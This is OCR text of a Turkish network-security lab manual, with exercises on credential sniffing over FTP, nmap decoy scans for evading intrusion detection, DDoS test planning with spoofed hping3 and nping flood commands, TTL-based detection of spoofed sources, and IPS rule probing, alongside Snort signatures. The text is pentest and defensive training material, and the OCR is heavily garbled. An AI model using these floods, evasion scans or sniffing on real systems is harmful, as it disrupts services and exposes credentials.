[!] Sniff passwords from 5.5.5.4. Is this correct? y

[1] HTTP Sniffer

[2] Password Sniffer

[3] Traffic Sniffer

[4] Database Sniffer

[5] Packet Modifier

0) Back

>0
)/ NCNCST
/11\) 1)/

(G WA W/ S [
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[Version 0.1.3]
[1] Poisoners [5] Parameter

[2] DoS Attacks [6] Services

[3] Sniffers [7] Attacks
[4] Scanners [8] Sessions
0) Back

Buradan 8 ile mevcut baslatigimiz saldirilara ait sessionlar1 goriintillemek i¢in 8 ile
calisan sessionlar listelenebilir.
>8

[Running sessions]
[1] Password Sniffer

[0] 5.5.5.4

[1] Stop session

[2] View session

[3] Startsession logger

[4] Stop session logger
0) Back

Goriildiagi gibi Passwords snifferin ilgili interface tizerinde ¢alismaktadir. 2 ile mevcut
oturumu goriintiileyebiliriz. Bu arada komut satirindan asagidaki gibi hedef bir sisteme
FTP baglantis1 kurmaya ¢alisalim.

root@pentest:~# ftp 20.20.20.130

Connected to 20.20.20.130.

220 MikroTik FTP server (MikroTik 3.30) ready
Name (20.20.20.130): ftpadmin

331 Password required for ftpadmin

Password:
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530 Login incorrect
Login failed.
Remote system type is UNIX.

ftp>

Asagida goruldigi tlizere password sniffer modiili ile ilgili kullanici hesabini ele
gecirebilmis oluyoruz.

>2

[module] [number]>10

['] [enter] when finished

['] Dumping output from 'Password Sniffer"...

[!'] Host: 20.20.20.130

[!] User: ftpadmin

['] Password: P@sswOrd
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Uygulama No: BGA-UAG-78

Port Taramalarinda Ag Tabanl Atak Onleme Sistemlerini Sasirtma

Amag: Atak 6nleme sistemlerini sasirtma

Porttarama ag seviyesi ataklarin basinda gelmektedir ve sizma testlerinde ilk adimlardan
biridir (bilgi toplama asamasi)

Port tarama yapmadan diger asamalara gecilmesi genellikle sizma testlerinin eksik
kalmasiyla sonuglanmaktadir. Zira bir giivenlik zafiyetinin olmasi icin dncelikle hizmet
veren bir servisin (sunucu tabanh zafiyetler) olmasi gerekmektedir, hizmet veren bir
servis olmasi i¢cin de TCP/IP aglarda port kavrami devreye girmektedir.

Porttarama islemi giiriilti cikarttigi icin cok rahatlikla Saldir1 Tespit Sistemleri tarafindan
yakalanabilir.

Port tarama islemlerinde hedef sisteme yakalanmadan tarama islemini gerceklestirmek
icin ¢esitli yontemler bulunmaktadir. Bunlardan biri de Decoy Scanning olarak literatiire
gecen tuzak sistemler araciliglyla port tarama yapmaktir. Tuzak sistemler kullanarak
tarama yapma hedef sisteme port tarama i¢in gonderilen paketlerin es zamanl farkl ip

adreslerinden gonderilerek hedef sasirtma amach kullanilmasidir.

Tuzak sistemler araciligiyla tarama yapabilmek icin tarama yapan sistemin ip spoofing
yapabilir durumda olmasi gerekir. Sadece sistemin ip spoofing yapabilmesi yetmez,
onlindekirouter, firewall vs gibi sistemlerin de bu spoofedilmis paketleri ge¢iriyor olmasi
gerekir (URPF, antispoof gibi korumalar olmamasi)

Decoy scanning TCP ic¢in ticlii el sikisma gerektirmeyecek tarama tiirlerinde ve UDP, ICMP
tarama tiplerinde gecerlidir. Sahte [P adreslerinden TCP tg¢li el sikisma

tamamlanamayacagi icin versiyon tarama gibi tiirlerde sahte ip kullanilamaz.
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Nmap Kullanarak Tuzak Sistemler Araciligiyla Port Tarama

# nmap -D RND:5 www.siberguvenlik.org -PN -sS -p 80 --packet_trace

Starting Nmap 5.50 ( http://nmap.org ) at 2011-05-08 19:23 EEST

SENT (0.1310s) TCP 213.116.227.58:40212 > 178.18.197.18:80 S ttl=49 id=2996
iplen=44 seq=2328236182 win=2048 <mss 1460>

SENT (0.1310s) TCP 61.2.175.211:40212 > 178.18.197.18:80 S ttl=44 id=2996 iplen=44
seq=2328236182 win=1024 <mss 1460>

SENT (0.1310s) TCP 91.93.118.125:40212 > 178.18.197.18:80 S ttl=42 id=2996 iplen=44
seq=2328236182 win=3072 <mss 1460>

SENT (0.1310s) TCP 2.42.201.233:40212 > 178.18.197.18:80 S ttl=46 id=2996 iplen=44
seq=2328236182 win=3072 <mss 1460>

SENT (0.1310s) TCP 118.188.139.129:40212 > 178.18.197.18:80 S ttl=39 id=2996
iplen=44 seq=2328236182 win=4096 <mss 1460>

SENT (0.1310s) TCP 200.200.133.245:40212 > 178.18.197.18:80 S ttl=40 id=2996
iplen=44 seq=2328236182 win=1024 <mss 1460>

RCVD (0.1370s) TCP 178.18.197.18:80 > 91.93.118.125:40212 SA ttl=55 id=0 iplen=44
seq=2585139682 win=5840 <mss 1460>

Nmap scan report for www.siberguvenlik.org (178.18.197.18)

Hostis up (0.0063s latency).

PORT STATE SERVICE

80/tcp open http

Nmap done: 1 IP address (1 hostup) scanned in 0.33 seconds

Rastgele IP adreslerin yerine istenilen IP adresleri de kullanilabilir. Bunun i¢in asagidaki
komut yeterli olacaktir.
nmap -D [P1, [P2, IP3, IP4 -p 80 hedef_sistem

Tuzak Sistemlerden Gelen Taramalar Yakalama ve Engelleme
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Snort Saldir1 Tespit ve Engelleme Sisteminde sfportscan 6nislemcisi kullanilarak port
taramalari izlenebilir.
Snort decoy scan teknigi kullanillarak gercgeklestirilmis port taramalarini da
yakalayabilmektedir fakat port tarama yapan ip adresleri arasindan hangi ip adresinin

gercek hangisinin sahte oldugunu ayirt edememektedir.

preprocessor flow: stats_interval 0 hash 2
preprocessor sfportscan: proto {all } \

scan_type { all } \

sense_level { low }

Snort sfportscan onislemcisini kullanarak yukaridaki port tarama tiplerini rahatlikla
yakalayabilmektedir.

e TCP Decoy Portscan
e UDP Decoy Portscan
e [P Decoy Portscan
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Uygulama No: BGA-UAG-79

DoS/DDoS Testlerinde Dikkat Edilmesi Gereken Hususlar

Amac: DDOS kavraminin detayl olarak incelenemesi

DoS/DDoS, 2012 yilinda tiim diinyada gergeklestirilen siber saldirilarin basinda
gelmektedir. Bunun temel nedeni DDoS saldirisini gerceklestirmek icin herhangi bir bilgi
birikimi gerekmemesi ve etkisini aninda gostermesidir. Internet lizerinden elde edilecek
cesitli otomatik araclar kullanilarak cok rahatlikla kurumsal web sayfalari ¢calisamaz hale

getirilebilir.

DDoS’un bu kadar basit bir saldir1 olmasi ¢ogu gilivenlik uzmani ve kurum tarafindan
yeteri kadar ciddiye alinmamasina neden olmaktadir. Oysa siber saldirilarin biiytk
cogunlugu kurumlarin ve uzmanlarin yeteri kadar ciddiye almadiklar1 yerlerden

gelmektedir.

DdoS bir altyapi problemidir ve tiim ISP’ler biraraya gelip ortak kurallar cercevesinde

hareket etmedikce sonlanmayacaktir.
DDoS Pentest / Hizmet Durdurma Simulasyon Saldirilar

DDoS testlerinde hedef secerken dikkatli olunmali, ana sayfanin erisilemez olmasini
isteyen bir saldirgan sadece ana sayfaya yonelik bir ddos saldiris1 gerceklestirmez. DNS,
Firewall, veya daha korumasiz gérdugii bir sisteme saldir1 denemesinde bulunabilir. Bu
nedenle ddos testlerinde farkli hedefler belirleyerek bu hedeflere yonelik
gerceklestirilecek saldirilarin hangi noktalarda sikinti olusturdugu bir excel olarak

tutulmalidir.
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Il A | B | C D

|Test Edilen / Etkilenen Sistem Kenar Yonlendiriciler (Edg Guvenlik Duvarlan (Firewalls) Saldiri Tespit ve Engelleme Sistemleri (IPS]
| Kenar Yonlendiriciler (Edge Routers)

| Giivenlik Duvarlan (Firewalls) (X)

|Saldiri Tespit ve Engelleme Sistemleri (IPS)

| Yiik Dengeleme Sistemleri (Load Balancer) (X)

| Web Sunucular (HTTP ve HTTPS)

:E-posta Sunuculari ve Spam Engelleme Sistemleri (X)

| DNS Sunucular (X)

| VPN Sunucular (SSL VPN, IPSEC VPN) (X)

|SIP Sunucular
: Hedef Sistemin Trafik Kapasitesi

DDoS Test Cesitleri

Internet lizerinde 60’a yakin DdoS saldiris1 gerceklestirilmektedir. Bunlardan en temel

saldirilar SYN Flood, DNS Flood, UDP flood ve HTTP Floodolarak bilinmektedir.

DDoS testlerinin gercek anlamda saglkli sonuglar verebilmesi icin asagidaki ana

basliklari icermesi beklenmektedir:

e SynFlood Saldirilari

e ACK Flood Saldirilar

o FIN Flood Saldirilar:

o TCP Connection Flood Saldirilari
o UDP Flood DDoS Saldirilar:

e ICMP Flood DDoS Saldirilari

o HTTP GET, POST Flood Saldirilar:
o DNSFlood DDoS Saldirilar:

o Botnet Simulasyonu

« Rate Limiting, Karantina Ozelliklerinin Test Edilmesi
» Uygulamalara Ozel DoS Testleri

o SSL,HTTPS DoS Testleri

Sahte IP Paketleriyle Test
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DDoS testlerinde Botnet gibi yasal olmayan sistemler kullanilamayacag i¢in test yapacak
firmanin internet lizerinde ip spoofing yapabilecek 6zelliklere sahip sistemleri olmasi
gerekmektedir.Glintimiizde ¢ogu ISP kendi sistemlerinden sahte ip adresleri ile trafigin
cikmamasi i¢cin UPRF gibi ¢esitli dnlemler almaktadir. Gergeklestirilen testler icin
kullanilacak sistemlerin 6niinde URPF korumali bir yoénlendirici bulunuyorsa siz
paketlerin gittigini diisiintlirsiiniiz fakat sahte liretilen paketler bir sonraki yonlendirici

cihazdan ileri gidemez.
Test Trafik Kapasitesi

Ortalama trafik tretimi 2-5 Gbps ve liretilmesi gereken paket miktar1 3.000.000 PPS
civarinda olmaldir. Bunun altinda kalacak ddos testleri klasik ddos engelleme sistemleri

tarafindan rahatlikla engellenebilir.
Isin Mantigin1 Anlayarak Test Yapma

DDoS testlerinin kolay gerceklestirilebiliyor olmasi bu konuda hi¢ bir bilince sahip
olmayan kisilerin de test gercgeklestirebilmesini saglamaktadir. DDoS engelleme
sistemleri internet lizerinden indirilip ¢calistirilacak ¢cogu ddos test/paket tretici yazilim

icin basit koruma 6zelliklerine sahiptir.

Mesela Hping kullanarak yapilacak klasik bir SYN flood saldirisinin korumali bir sistemde
hig bir etkisi olmayacaktir. Hping SYN paketleri iiretirken siradan bir TCP baglantisindan
farkl tiretmektedir. Bu farki yakalayan DDoS engelleme sistemleri paketleri islemeden

diistirmektedir.
Hping TCP SYN Paketi Anormallik Ornegi

Klasik bir TCP baglantis1 baslatma isteginde baslik bilgileri asagidaki gibi olacaktir.

688192453, Len: 0 Source port: 57306 (57306)

Destination port: http (80)

Transmission Control Protocol, Src Port: 57306 (57306), Dst Port: http (80), Seq:
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[Stream index: 0]

Sequence number: 688192453

Header length: 40 bytes

Flags: 0x002 (SYN)

000. .... ... = Reserved: Notset

...0 ... ... = Nonce: Not set

e 0 = Congestion Window Reduced (CWR): Not set
... .0.. .... = ECN-Echo: Not set

..0. ... = Urgent: Notset
....... 0 .... = Acknowledgment: Not set
... 0...= Push: Not set
o .0 = Reset: Notset
vee o 1. = Syn: Set
[Expert Info (Chat/Sequence): Connection establish request (SYN): server port http]
[Message: Connection establish request (SYN): server port http]

[Severity level: Chat]

Hping tarafindan iiretilecek SYN paketlerinde TCP SYN paketinde ise ACK bayrag: set

edilmedigi halde ACK numarasi alani dolu olarak gonderilmektedir.
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Transmission Control Protocol, Src Port: here-lm (1409), Dst Port: http (80), Seq:
239285634, Len: 0 Source port: here-Im (1409)

Destination port: http (80)

[Stream index: 0]

Sequence number: 239285634

Acknowledgment Number: 0x1f7f9dc1 [should be 0x00000000 because ACK flag is not
set]

[ExpertInfo (Warn/Protocol): Acknowledgment number: Broken TCP. The acknowledge

field is nonzero while the ACK flag is not set]

[Message: Acknowledgment number: Broken TCP. The acknowledge field is nonzero while

the ACK flag is not set]

[Severity level: Warn]

[Group: Protocol]

Header length: 20 bytes

Flags: 0x002 (SYN)

000. .... ... = Reserved: Not set
...0 .... ... = Nonce: Not set
S O J = Congestion Window Reduced (CWR): Not set

.. .0.. ... = ECN-Echo: Notset

..0. ... = Urgent: Notset
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....... 0 .... = Acknowledgment: Notset

... 0...= Push: Notset

e o .0.. = Reset: Notset

e 1. = Syn: Set

Cogu DDOS engelleme sistemi bu anormalligi yakalayarak Hping tarafindan tretilecen

paketleri islemeden ¢6pe atmaktadir

DDoS Test Amach Kullanilan Yazilimlar

DoS/ DDoS testlerinde yasal olmayan yollarla elde edilmis Botnet yazilimlari
kullanilamaz. Botnet'lerin olusturacagi trafigin benzerini olusturabilecek kapasitede a¢ik

kaynak kodlu ve ticari yazilimlar bulunmaktadir.

Hping3

Nping

Juno

T50

ab

Apache Jmeter

DoSHTTP

Mz

Hyanae

DDoSim

Bonesi
Not: HTTP ve TCP {lizerinden ¢alisan diger uygulama seviyesi protokollerde ip spoofing
yapilamayacagi icin internet iizerinden yapilacak ddos testlerinde bu protokollere ait

paket tiretimleri gerceklestirilemez.

Yerel agda lab ortami kurarak http ve benzeri protokoller icin ip spoofing yapilarak tam

bir botnet/zombiordusu simulasyonu gerceklestirilebilir. Internet iizerinden ¢esitli bulut
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bilisim ¢ozimleri kullanilarak 100-500-1000 ip adreslik uygulama seviyesi ddos

saldirilar: simitle edilebilir.

Ucretsiz yazihmlar genellikle kisith 6zelliklere sahiptir. Gelistirme programlama dili
olarakC ve Perl kullanildig i¢in kod tarafiincelenerek eklemeler yapilabilir. Mesela hping
paketleri gonderirken sadece bir ip adresinden ya da tamamen rastgele ip adreslerinden
gonderebilir fakat belirli ip araliindan paket gonderme 6zelligi yoktur(botnet

simiilasyonu i¢in).
Testlerde Kullanilan Kaynak Sistemlerin Konumlandirilmasi

Bazi DDoS koruma sistemleri internetten gelecek ataklara karsi basarili bir koruma
saglarken eksik/hatali yapilandirma nedeniyle ISP'nin kendi i¢ agindan gelebilecek
ataklara karsi etkinlik saglayamamaktadir. Bu nedenle ddos testlerinin ikisi yurt disinda
ikisi yurt icindeki ana ISP’lerden olmak tUzere en az 4 farklh lokasyondan

gerceklestirilmesi gerekir. Aksi halde ddos testlerinin sonuclaribasarisiz olacaktir.
URPF Korumasi

URPF, c¢ogu ISP’'nin kullandig1 ve IP spoofingi engelleme amaciyla kullanilan bir

yontemdir. Teknik detaylarina buradan **ulasilabilir.

URPF’in aktif olup olmadigini anlamak icin intnerete bagh ayri bir makineye ihtiyag

vardir.
tcpdump -i ethO -tn tcp port 8080

URPF testi yapilmasi istenen makine tlzerinden hping3 -spoof 5.6.7.8. -p 8080 -S
IPADRESI_B yazilir.

Ardindan tcpdump ciktisina bakilarak spoof edilmis ip adreslerinden peketlerin ¢ikip

cikmadig belirlenebilir.
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Uygulama No: BGA-UAG-80

DDoS Forensics:DDoS Saldirilarinda Sahte IP Kullanimi Belirleme

Amagc: DDOS Saldirinlarinda kullanilan sahte ip’lerin belirlenmesi

Yikim saldirilar1 olarak tanimlayabilecegimiz DoS/DDoS saldirillarinda en temel
sorunlardan birisi ip spoofing (ip sahteciligidir). Internetin tlizerinde ¢alstigi TCP/IP
protokoliindeki bazi esneklik ve eksiklikler kullanilarak gergeklestirilen DDoS

saldirilarinda saldirganin yakalanmasi neredeyse imkansizdir.

Linux/UNIX sunucuya sahip bir saldirgan istedigi ip adresinden geliyormus gibi DoS
saldiris1 gercgeklestirebilir. Hatta istenirse hedef olarak belirlenen kurumun/sirketin

kendi ip adresinden geliyormus gibi bile gosterilebilir.

Bu blog girdisinde DoS/DDoS analizinde saldir1 yapan IP adreslerinin gergek olup

olmadiginin anlasilmasi konusuna deginilmistir.
Ornek:

Asagidaki DDoS saldir1loglari test ortaminda tretilmis ve sanki tiim saldir1istekleri beyaz

saray (Whitehouse.gov)’'dan geliyormus gibi goziikmektedir.

root@bt:~# tcpdump -i eth0 -tn tcp port 80tcpdump: verbose output suppressed, use

-v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

IP 23.14.92.90.2861 > 50.22.202.162.80: Flags [S], seq 1539702406, win 512, length
0

IP 23.14.92.90.2862 > 50.22.202.162.80: Flags [S], seq 664924080, win 512, length 0
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IP 23.14.92.90.2863 > 50.22.202.162.80: Flags [S], seq 1884477834, win 512, length
0

IP 23.14.92.90.2864 > 50.22.202.162.80: Flags [S], seq 1637761741, win 512, length
0

IP 23.14.92.90.2865 > 50.22.202.162.80: Flags [S], seq 1371834373, win 512, length
0

Burada eger saldir1 iyi analiz edilmezse yanlis kisi veya kurumlar gereksiz yere

suclanabilir.

Saldirilarda kullanmilan [P adreslerinin gercekten o kisi/kurumdan mu geliyor yoksa
bagskalari tarafindan sahte olarak tiretilip iiretilmedigini belirlemek ¢ok zordur. Protokol

baslk bilgilerini detayli analiz ederek bu konuda bazi ipuglari yakalanabilir.
Bu ipuclarindan en kolayi ve ilki IP bashk bilgisindeki TTL (Time To Live) alanidir.

[P bashgindaki TTL alani IP paketinin ka¢ adet yonlendirici (OSI katmanina gére >3
katmanda yodnlendirme yapan herhangi bir cihaz da olabilir) dolastigin1 belirtir. TTL
degerleri isletim sistemlerine gore farkliik gosterse de genellikle 64, 128 veya 256 gibi
degerlerden baslatilir. DDoS saldir1 analizinde kaydedilen paketler incelendiginde TTL
degerlerine bakilarak paketlerin gercekten ilgili kaynaktan gelip gelmedigi konusunda
yorum yapilabilir.[1]

Asagidaki paketlere (tcpdump ciktis1 ) bakarak paketin baslangi¢c TTL'inin 64 oldugunu

ve bize ulasana kadar toplamda 7 cihaztan gectigini tahmin edebiliriz.

# tcpdump -i eth0 tcp port 80 -v -n

tcpdump: listening on eth(, link-type EN10MB (Ethernet), capture size 65535 bytes
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15:52:21.486405 IP (tos 0x0, ttl 57, id 56984, offset 0, flags [none], proto TCP (6),
length 40)

23.14.92.27.2839 > 50.22.202.162.80: Flags [S], cksum O0x0Oce7 (correct), seq
1877259047, win 512, length 0

15:52:22.486712 IP (tos 0x0, ttl 57, id 46513, offset 0, flags [none], proto TCP (6),
length 40)

23.14.92.27.2840 > 50.22.202.162.80: Flags [S], cksum 0x8caZ (correct), seq
910508081, win 512, length 0

Bu bilgileri kullanarak DDoS saldirilarinda kaynak olarak kullanilan IP adreslerinin
gercekten goziiken IP adresinden mi yoksa baskalari tarafindan spoofedilerek gonderilen

adresler mi oldugu belirlenebilir.

Ornek Analiz:

Asagidaki ciktilara gore saldirida kullanilan ip adreslerinin gercek ya da sahte olma

ihtimali nedir?

# tcpdump -i eth0 tcp port 80 -v -n

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

15:57:40.356491 1P ( ttl 58, id 42475, offset 0, flags [none], proto TCP (6), length 40)

15.118.77.4.1593 > 50.22.202.162.80: Flags [S],, seq 317707819, win 512, length 0

15:57:41.356872 IP ttl 58, id 40125, offset 0, flags [none], proto TCP (6), length 40)
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91.250.206.34.1594 > 50.22.202.162.80: Flags [S], cksum 0x9f0b (correct), seq
820931198, win 512, length 0

15:57:42.357198 IP (tos 0x0, ttl 58, id 36059, offset 0, flags [none], proto TCP (6),
length 40)

151.31.27.199.1595 > 50.22.202.162.80: Flags [S], cksum 0x208a (correct), seq
1444135933, win 512, length 0

15:57:43.357543 IP (tos 0x0, ttl 58, id 60185, offset 0, flags [none], proto TCP (6),
length 40)

24.162.11.171.1596 > 50.22.202.162.80: Flags [S], cksum 0x13e5 (correct), seq
750695986, win 512, length 0

15:57:44.358025 IP (tos 0x0, ttl 58, id 41019, offset 0, flags [none], proto TCP (6),
length 40)

250.250.205.165.1597 > 50.22.202.162.80: Flags [S], cksum 0x2764 (correct), seq
440922370, win 512, length 0

15:57:45.358314 IP (tos 0x0, ttl 58, id 1793, offset 0, flags [none], proto TCP (6),
length 40)

144.104.160.222.1598 > 50.22.202.162.80: Flags [S], cksum 0x4725 (correct), seq
507576874, win 512, length 0

15:57:46.358612 IP (tos 0x0, ttl 58, id 6020, offset 0, flags [none], proto TCP (6),
length 40)

19.199.201.237.1599 > 50.22.202.162.80: Flags [S], cksum 0xf8b4 (correct), seq
1523793720, win 512, length 0
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15:57:47.358930 IP (tos 0x0, ttl 58, id 5398, offset 0, flags [none], proto TCP (6),
length 40)

2.16.217.123.1599 > 50.22.202.162.80: Flags [S], cksum 0xf8b4 (correct), seq
1523793720, win 512, length 015: ( ttl 58, id 5398, offset 0, flags [none], proto TCP
(6), length 40)

Yukaridaki ¢ikt1 incelendiginde rastgele IP adreslerinden TCP SYN paketlerinin 80. porta
gonderildigi goziikmektedir.(SYN flood saldirisindan alinmis 6rnek). Burada dikkat ceken
bir husus gonderilen tim paketlerde TTL degerinin 58 olmasidir, farkli farkh IP
Adreslerinden gelen paketlerin TTL degerlerinin ayni olmasi pek olas1 degildir. Ornek

olmasi agisindan en son satirdaki IP adresi 2.16.217.123 inceleyelim.

IIk adim olarak bu IP adresine bir adet paket gonderelim ve cevaptaki TTL degerini

inceleyelim.

# hping3 -p 80 -§ 2.16.217.123 -c1

HPING 2.16.217.123 (eth0 2.16.217.123): S set, 40 headers + 0 data bytes

len=46 ip=2.16.217.123 ttl=53 DF id=0 sport=80 flags=SA seq=0 win=14600 rtt=53.1

ms

— 2.16.217.123 hping statistic —

1 packets tramitted, 1 packets received, 0% packet loss

Gonderilen bu istegin cevaplari incelenirse donen pakete ait TTL degerinin 53 oldugu
goriilebilir. Oysa saldir1 paketlerinde bu ip adresinden gelen paketlere ait TTL degerinin
58 oldugu goziikmekteydi. Bu da bize ilgili SYN flood saldirisinda kullanilan IP

adreslerinin gercek olmadigini séylemektedir.
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# tcpdump -n -t tcp port 80 -v

IP (tos 0x0, ttl 64, id 25701, offset 0, flags [none], proto TCP (6), length 40)

85.95.238.172.2651 >2.16.217.123.80: Flags [S], cksum 0x65ca (correct), seq 16

IP (ttl 53, id 0, offset 0, flags [DF], proto TCP (6), )

2.16.217.123.80 > 85.95238.172.2651: Flags [S.], cksum OxIcld (correct), seq
2868979279, ack 1695933000, win 14600, options [mss 1460], length

Tabi buradaki analiz yontemi ileri seviye teknik bilgiye sahip saldirganlar tarafindan
rahatlikla asilabilse de bugiine kadar bu ydntemi sasirtacak bir saldir1 analiziyle

karsilasmadik.

*Internet altyapisinin esnekligi ve yénlendirme algoritmalarinin isleyisi diisiintildiigiinde bir
paketin A noktasindan B noktasina giderken izledigi yol ile B noktasindan Aya geri doniiste
izledigi yollar farkl olabilir bu da TTL degerlerinin farkli ctkmasina yol agacaktir.
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Uygulama No: BGA-UAG-81

Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri

Amagc: Nping araci ile TCP Connection Flood DoS/DDoS testlerinin gergeklestirilmesi

TCP tabanli DoS saldirilar genelde asagidaki alt bashklarda incelenir:

SYN Flood

ACK Flood

FIN Flood

RST Flood

Connection flood
tim bu basliklarda(son satir harig) saldirgan sahte ip adresleri kullanarak hedef sisteme
paketler gonderir. Ama¢ hedef sistemin kapasitesini zorlamak ve daha fazla paket

alamamasini saglamaktir.

SYN flood haric diger TCP bayraklar: kullanilarak gerceklestirilecek flood saldirilarinin
glivenlik sistemleri lizerinde etkisi yok denecek kadar azdir. SYN flood saldirilarindan syn

cookie ve syn proxy kullanilarak rahatlikla korunulabilmektedir.

TCP giivenilir bir protokol olmasinedeniyle internet iizerinden IP spoofinge ag¢ik degildir.
Bu nedenle Hping, scapy gibi arag¢lar kullanilarak gerceklestirilecek saldirilarda iiglii el
sikisma sahte ip adreslerinden tamamlanamaz ve connection flood saldirilar:

gerceklestirilemez.

TCP connection flood saldirilari/testleri hedef sistemin oturum limitlerini

o0lgcmek/gormekicin kullanilabilir.

nping -tcp-connect 4.27.0.3 -p 80 -rate 5000 -c 100000000

Yukardaki komutla es zamanh 5000 TCP baglantisi istegi gonderilmekte ve eger rate

limiting sistemi yoksa ¢ok kisa siirede hedef sistemin oturum limitlerini
doldurabilmektedir(SYN cookie vs olsa dahi)

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

Diger yazilimlar gibi Nping de sahte ip adreslerinden Botnet simulasyonu yapamadigi i¢in
tam manasiyla bir DDoS degil, DoS olmaktadir. Yerel agda lab ortaminda
gerceklestirilecek testlerde kurban sistemin varsayilan ag gecidi attacker sistemi olarak
ayarlanabilirse istenilen tlirde atak icin Botnet simulasyonu yapilabilir (HTTP GET/POST
Flood vs). Netstress yeni siiriimiiyle sahte ip adreslerinden uygulama seviyesi DDoS

saldirilarini yerel agda test ortamlarinda simule edebilmektedir.

Uygulama No: BGA-UAG-82

Intrusion Prevention System Stateful Signature Inspection Testleri

Amag: Intrusion Prevention System Stateful Signature Inspection Testleri ve imzalarin
incelenmesi

Saldir1 Engelleme Sistemleri gliniimtiz sinir giivenligin akla gelen ilk bilesenlerden biridir.
[PS’ler klasik giivenlik duvarlarindan farkh olarak barindirdiklar1 DPI(Deep Packet
Inspection) altyapilariyla protokollere ait tiim detay alanlari inceleyebilir ve bu alanlar

icerisinde istege bagh olarak paketleri engelleyebilir.

Glniimiiz sistemlerinde kullanilan IPS’lerin tamami stateful mimaride cahsir. Stateful
packet inspection (Durum korumali paket inceleme) IPS’in ya da Firewall'un lizerinden
gecirdigi her paketi bagimsiz olarak incelemesi yerine paketler arasindaki iliskiyi

gozetleyerek daha akilli kararlar verebilmesini saglar.

Mesela bir baglantida saldir1 imzasi aramadan 6nce baglantinin gercekten bir baglanti m1
oldugunu yoksa rastgele gonderilen paketler mi oldugunu anlayabilir. Kisacas1 oturum
kavramini saglar ve birbirleriyle iligkili paketleri tek bir oturum olarak kabul eder ve

inceler.

Acik kaynak kodlu Snort IPS/IDS sistemi incelenirse hem stateful yapida hem de stateless

yapida kurallarin yazilabildigi goriilecektir.
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Snort Stateless Saldir1 imzasi

rev:7;)

scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN SYN FIN”;
flow:stateless; flags:SF,12; reference:arachnids,198; classtype:attempted-recon; sid:624;

Snort Stateful Saldir1 imzasi

nocase; classtype:attempted-recon; sid:1122; rev:5;)

web-misc.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-MISC /etc/passwd”; flow:to_server,established; content:”/etc/passwd”;

Bu Snort kurali ile gelen giden her paketin ayri ayr1 incelenmesi yerine sadece oturum
kurulmus (3'li el sikismay1 basariyla tamamlamis) paketlerin incelenmesi ve igeriginde
/etc/passwd barindiran oturumlar icin -paketler icin degil- uyar1 vermesi

saglanmaktadir.

Eger IPS sistemleri herhangi bir yapilandirmadan gecirilmeden oldugu gibi agda
konumlandirilirsa gelen giden her paketi degerlendirip saldir1 aramasi yapacak sekilde

calisacaktir (Default olarak stateful ¢alisanlar da var)

Stateful mimarisi aktif edilmemis bir IPS’in ne gibi dezavantajlari olabilir?

Stateful calismayan bir IPS uzaktan sahte IP adreslerinden gonderilecek cesitli paketleri
gercek bir saldir1 gibi algilayacak ve loglamaya calisacaktir. Bu siire zarfinda birileri eger

gercekten sisteme yonelik denemeler yapiyorsa loglardan anlasilmasi giic olacaktir.

Yine benzer sekilde saldirgan IPS’iislevsiz birakmak i¢in farkl -ve sahte- ip adreslerinden
milyonlarca saldir1 imzasi iiretecek paketler gonderebilir. IPS gelen her paketi teker teker
incelemeye tabi tuttugu icin kisa stirede devre dis1 kalabilir. Gergeklestirdigimiz testlede

10 dakika siiren bir atagin etkisinin IPS loglama sisteminde 7-8 kadar etkisi olmustur.

Ornek:
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Hedef olarak belirlenen IPS’in ¢alisma yapisini anlamak icin baz1 6rnek paketler

gonderilmesi gerekmektedir.

Bu paketlerden bazilar1 aradaki IPS cihazim1 kizdiracak ve kural/imzalarinin

tetiklenmesini ve trafigi engellemesini -RST ya da pasif DROP- saglayacaktir.
I. Adim

Birinci adimda test yapilan IPS’in arkasindaki sunucunun TCP/80 portuna siradan SYN

paketleri gonderilir.

Hedef sunucu bu paketlere -port agik oldugu icin- ACK/SYN bayrakli paketle cevap

verecektir.

root@seclabs:~# hping3 -p 80 -S www.bankl.com.tr

HPING www.bankl.com.tr (eth0 1.2.3.4): S set, 40 headers + 0 data bytes

len=46 ip=1.2.3.4 ttI=244 DF id=19935 sport=80 flags=SA seq=0 win=1608 rtt=3.6 ms
len=46 ip=1.2.3.4 tt1=244 DF id=46389 sport=80 flags=SA seq=1 win=1608 rtt=3.5 ms
len=46ip=1.2.3.4 ttI=244 DF id=8438 sport=80 flags=SA seq=2 win=1608 rtt=3.2 ms

len=46 ip=1.2.3.4 ttI=244 DF id=21695 sport=80 flags=SA seq=3 win=1608 rtt=3.3 m

II. Adim

Bu adimda hedef sunucuya gonderilen SYN bayrakli paketlerin icerisine veri eklenmistir.

root@seclabs:~# cat testl

test deneme123

Amac hedef sistem Oniindeki IPS’in kurallarindaki SYN bayrakli paketler veri tasiyamaz
kuralinin aktif olup olmadigini 6grenmek. Asagidaki ¢ikti IPS’de bu kuralin aktif

olmadigim gostermektedir.
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root@seclabs:~# hping3 -p 80 -S www.bankl.com.tr -d 100 -E testl

HPING www.bankl.com.tr (eth0 1.2.3.4): S set, 40 headers + 100 data bytes

[main] memlockall(): Success

len=46ip=1.2.3.4 ttI=244 DF id=19727 sport=80 flags=SA seq=0 win=1608 r tt=3.8 ms
len=46 ip=1.2.3.4 tt1=244 DF id=49973 sport=80 flags=SA seq=1 win=1608 rtt=3.5 ms
len=46 ip=1.2.3.4 ttI=244 DF id=2089 sport=80 flags=SA seq=2 win=1608 rtt=4.2 ms

len=46 ip=1.2.3.4 ttI=244 DF id=62685 sport=80 flags=SA seq=3 win=1608 rtt=3.5 ms

SYN bayrakh paket veri tasiyamaz kuralinin aktif oldugu IPS’ génderilecek paketlere
cevap donulmez ya da RST paketi doniiliir.

root@seclabs:~# hping3 -p 80 -S www.bank3.com.tr -d 100 -E testl -c 4

HPING www.bank3.com.tr (eth0 1.8.12.7): S set, 40 headers + 100 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

— www.bank3.com.tr hping statistic —

4 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

III. Adim

